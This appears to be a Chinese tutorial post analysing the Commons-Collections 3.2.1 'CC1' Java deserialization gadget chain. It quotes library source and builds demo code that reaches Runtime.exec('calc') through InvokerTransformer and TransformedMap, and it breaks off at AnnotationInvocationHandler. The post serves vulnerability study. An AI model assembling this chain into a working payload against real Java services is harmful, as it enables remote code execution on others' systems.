JDK版本为jdk8u65
commons-collections版本为3.2.1
InvokerTransformer
CC1的漏洞点在InvokerTransformer,InvokerTransformer下有一个transform方法:- public Object transform(Object input) {
- if (input == null) {
- return null;
- }
- try {
- Class cls = input.getClass();
- Method method = cls.getMethod(iMethodName, iParamTypes);
- return method.invoke(input, iArgs);
- } catch (NoSuchMethodException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
- } catch (IllegalAccessException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
- } catch (InvocationTargetException ex) {
- throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
- }
- }
复制代码 这里的transform接受一个任意的Object类型输入,而且反射调用的参数都可以控制,那么这里就可以实现任意方法调用。
先写一个通过反射调用函数的demo:- package org.example;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import java.lang.reflect.Method;
- public class CC1 {
- public static void main(String[] args) throws Exception{
- // 创建Runtime对象
- Runtime r = Runtime.getRuntime();
- // 创建Class对象
- Class c = Runtime.class;
- // 使用getMethod方法从Runtime类中获取exec方法
- Method method = c.getMethod("exec", String.class);
- // 使用invoke方法调用method对象表示的方法
- method.invoke(r,"calc");
- }
- }
复制代码
接着,将这个demo改写为通过InvokerTransformer调用,先看一下调用InvokerTransformer需要传什么参数,结合上面InvokerTransformer中transform方法,我们应该传的参数为:"exec"、new Class[]{String.class}、new Object[]{"calc"}- public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
- super();
- iMethodName = methodName;
- iParamTypes = paramTypes;
- iArgs = args;
- }
复制代码 那么将我们的demo改写为:- package org.example;
- import org.apache.commons.collections.functors.InvokerTransformer;
- public class CC1 {
- public static void main(String[] args) throws Exception{
- Runtime r = Runtime.getRuntime();
- new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
- }
- }
复制代码
下一步的目标就是寻找哪个类也调用了transform方法。
TransformedMap
这里发现TransformedMap类中的checkSetValue函数中对valueTransformer调用了transform方法:- protected Object checkSetValue(Object value) {
- return valueTransformer.transform(value);
- }
复制代码 接着,在TransformedMap中发现下面这段代码调用了valueTransformer :- protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- super(map);
- this.keyTransformer = keyTransformer;
- this.valueTransformer = valueTransformer;
- }
复制代码 然后又发现下面这段代码调用了TransformedMap:- public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
- return new TransformedMap(map, keyTransformer, valueTransformer);
- }
复制代码 于是,可以将demo改写为:- package org.example;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.util.HashMap;
- public class CC1 {
- public static void main(String[] args) throws Exception{
- Runtime r = Runtime.getRuntime();
- InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});
- HashMap<Object, Object> map = new HashMap<>();
- TransformedMap.decorate(map, null, invokerTransformer);
- }
- }
复制代码 AbstractInputCheckedMapDecorator
接下来,需要找到如何调用checkSetValue,通过idea查找用法发现在抽象类AbstractInputCheckedMapDecorator中的MapEntry类调用了这个方法。- static class MapEntry extends AbstractMapEntryDecorator {
- /** The parent map */
- private final AbstractInputCheckedMapDecorator parent;
- protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
- super(entry);
- this.parent = parent;
- }
- public Object setValue(Object value) {
- value = parent.checkSetValue(value);
- return entry.setValue(value);
- }
- }
复制代码 这里的MapEntry在遍历Map的时候会被调用,接着改写demo代码:- package org.example;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
- import java.util.HashMap;
- import java.util.Map;
- public class CC1 {
- public static void main(String[] args) throws Exception{
- Runtime r = Runtime.getRuntime();
- InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"});
- HashMap<Object, Object> map = new HashMap<>();
- map.put("key", "aaa");
- Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
- for (Map.Entry entry:transformedMap.entrySet()) {
- entry.setValue(r);
- }
- }
- }
复制代码 这样一来,当我们遍历Map进行setValue的时候就会形成一条调用链:MapEntry -> setValue -> checkSetValue -> valueTransformer.transform,而valueTransformer就是我们通过TransformedMap.decorate(map, null, invokerTransformer)设置的invokerTransformer。
调试一下demo代码:
AnnotationInvocationHandler
继续寻找在哪个类里面调用了setValue方法,发现在AnnotationInvocationHandler类的readObject方法中使用了memberValue.setValue:- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- s.defaultReadObject();
- // Check to make sure that types have not evolved incompatibly
- AnnotationType annotationType = null;
- try {
- annotationType = AnnotationType.getInstance(type);
- } catch(IllegalArgumentException e) {
- // Class is no longer an annotation type; time to punch out
- throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
- }
- Map<String, Class<?>> memberTypes = annotationType.memberTypes();
- // If there are annotation members without values, that
- // situation is handled by the invoke method.
- for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
- String name = memberValue.getKey();
- Class<?> memberType = memberTypes.get(name);
- if (memberType != null) { // i.e. member still exists
- Object value = memberValue.getValue();
- if (!(memberType.isInstance(value) ||
- value instanceof ExceptionProxy)) {
- memberValue.setValue(
- new AnnotationTypeMismatchExceptionProxy(
- value.getClass() + "[" + value + "]").setMember(
- annotationType.members().get(name)));
- }
- }
- }
- }
复制代码 通过观察AnnotationInvocationHandler类可以发现memberValues是可控的:
[code]AnnotationInvocationHandler(Class |